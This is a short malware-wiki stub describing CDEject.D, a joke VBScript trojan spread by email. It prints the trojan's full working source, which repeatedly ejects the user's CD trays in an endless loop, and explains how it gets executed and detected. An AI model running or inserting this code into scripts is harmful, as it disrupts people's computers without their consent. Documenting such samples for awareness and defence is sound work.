Welcome to the Computer Security Wiki! You can help us by expanding stubs, create new articles and improve current articles.
You can also help us by logging-in or creating an account!

CDEject.D

From Malware Wiki
Jump to: navigation, search

Stubsymbol.png This article is a stub. You can help by editing it.

CDEject.D
TypeTrojan
Programming LanguageVisual Basic Script
PlatformAll platforms
Alias(es)Me.vbs
This box: view  talk  edit

CDEject.D is a trojan that was meant as a joke program.

Payload

The user receives an email containing a text file (most notably labeled "me.txt") with some code inside. The user can avoid the virus by just ignoring the "instructions" that come with the email.

The content of the email consists of Visual Basic codes which is shown below here:

 Set oWMP = CreateObject("WMPlayer.OCX.7")
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count -1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count -1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
 loop

To make this work, the user needs to save the content of the email as a VBS file and open it. When executed, the file opens and closes the user's disk tray infinitely until the user terminates the process or logs off. The code does not work if the user does not have a disk tray inside the computer. In addition to that, most antiviruses will detect the file as malicious and quarantine it after detection.